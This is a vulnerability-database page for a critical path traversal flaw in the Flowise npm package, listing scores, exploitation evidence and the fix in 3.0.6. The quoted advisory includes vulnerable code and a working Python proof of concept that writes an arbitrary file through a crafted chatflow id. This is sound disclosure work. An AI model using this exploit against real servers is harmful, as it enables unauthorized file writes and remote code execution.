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CVE-2025-71334: Flowise has arbitrary file access due to missing chat flow id validation

Affects flowiseSource GCVE Database

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Authoritative record:CVE-2025-71334· Critical 9.3

Not known to be exploited · public detection template (Nuclei) · CVSS 9.3 Critical : upgrade to 3.0.6 as a priority.

Data as of 3 Nov 2026, 18:29 UTC

CVSS 4.0 base score
9.3Critical
How severe the flaw is on the 0–10 CVSS scale.

Thin evidence

One scorer or none
CVSS scores by source
CNA (VulnCheck)CVSS 4.09.3
CNA (VulnCheck)CVSS 3.19.8
Patch
Available – fixed in 3.0.6
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Exploitation evidence

t = 0 is the CVE’s publication on cve.org

  1. Disclosed: evidence found.

    CVE published 25 Jun 2026

  2. Weaponized: evidence found.

    CISA SSVC: proof of concept public

  3. Exploited in the wild: no evidence on record.

    Not in CISA KEV and no source reports exploitation

  4. Observed by OffSeq Mirage: no evidence on record.

    No attack traffic recorded by OffSeq Mirage sensors

Timeline

  1. CVE ID reserved

    by VulnCheck

    , 5 days before disclosure

  2. CVE published

    on cve.org

    , t = 0

  3. CISA SSVC assessment

    proof of concept public

    , 13 hours after disclosure

A missing step is not evidence of safety. Sources: cve.org (opens in a new tab), CISA SSVC, the Metasploit, Exploit-DB and nuclei-templates index as of 3 Nov 2026.

What to do

Upgrade flowise to 3.0.6.

Affected software

ProductAffectedFixed in
npmflowiseAffected
  • >=2.2.8 <3.0.6
Fixed in
  • 3.0.6

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Description

### Summary Missing chat flow id validation allows an attacker to access arbitrary file. ### Details Commit https://github.com/FlowiseAI/Flowise/commit/8bd3de41533de78e4ef6c980e5704a1f9cb7ae6f and https://github.com/FlowiseAI/Flowise/commit/c2b830f279e454e8b758da441016b2234f220ac7 added check for `filename` when handling file upload operations to prevent path traversal, and additional validation of `chatflowId` and `chatId` from route `/api/v1/attachments`. In some cases, however, `chatflowId` and `chatId` are not validated to ensure they are UUIDs or numbers, which may lead to security issues. **Case 1** When creating new chatflow via `/api/v1/chatflows`, function `addBase64FilesToStorage` is called if there exists base64 file data. Although the `filename` is sanitized, the `chatflowid` comes from request body directly without any validation. An attacker could exploit the path traversal here to write arbitrary file with controlled data. ```typescript export const addBase64FilesToStorage = async (fileBase64: string, chatflowid: string, fileNames: string[]) => { // ... } else { const dir = path.join(getStoragePath(), chatflowid) // path traversal here if (!fs.existsSync(dir)) { fs.mkdirSync(dir, { recursive: true }) } const splitDataURI = fileBase64.split(',') const filename = splitDataURI.pop()?.split(':')[1] ?? '' const bf = Buffer.from(splitDataURI.pop() || '', 'base64') const sanitizedFilename = _sanitizeFilename(filename) const filePath = path.join(dir, sanitizedFilename) fs.writeFileSync(filePath, bf) fileNames.push(sanitizedFilename) return 'FILE-STORAGE::' + JSON.stringify(fileNames) } } ``` **Case 2** When downloading file via `/api/v1/openai-assistants-file/download` or `/api/v1/get-upload-file`, function `streamStorageFile` is called to retrieve file data from local or cloud bucket. The `chatflowId` and `chatId` are used for file path generation. Take Amazon S3 as an example, its [[documentation indicates](https://docs.aws.amazon.com/AmazonS3/latest/userguide/object-keys.html#object-key-guidelines)](https://docs.aws.amazon.com/AmazonS3/latest/userguide/object-keys.html#object-key-guidelines) that `../` will be treated as relative path. Note that these APIs are in `WHITELIST_URLS`, an attacker may traverse user storage files without authentication. ### PoC Launch app at localhost with default config, then run the following python script, a file named 'pwn' will be written to dir `/tmp` with content 'Hello, World!'. ```python import requests import json url = "http://localhost:8080/api/v1/chatflows" headers = {"x-request-from": "internal"} nodedata = { "category" : "Document Loaders", "inputs" : { "key" : "data:text/plain;base64,SGVsbG8sIFdvcmxkIQ==,a:pwn" } } flownode = { "id" : "a", "data" : nodedata } flowdata = { "nodes" : [flownode], "edges" : [], "viewport" : { "x" : 1, "y" : 1, "zoom" : 1 } } data = { "id" : "../../../../../tmp", "name" : "name", "flowData" : json.dumps(flowdata) } res = requests.post(url, json=data, headers=headers) ``` ### Impact 1. Arbitrary file read / write 2. Remote Code Execution 3. Data loss

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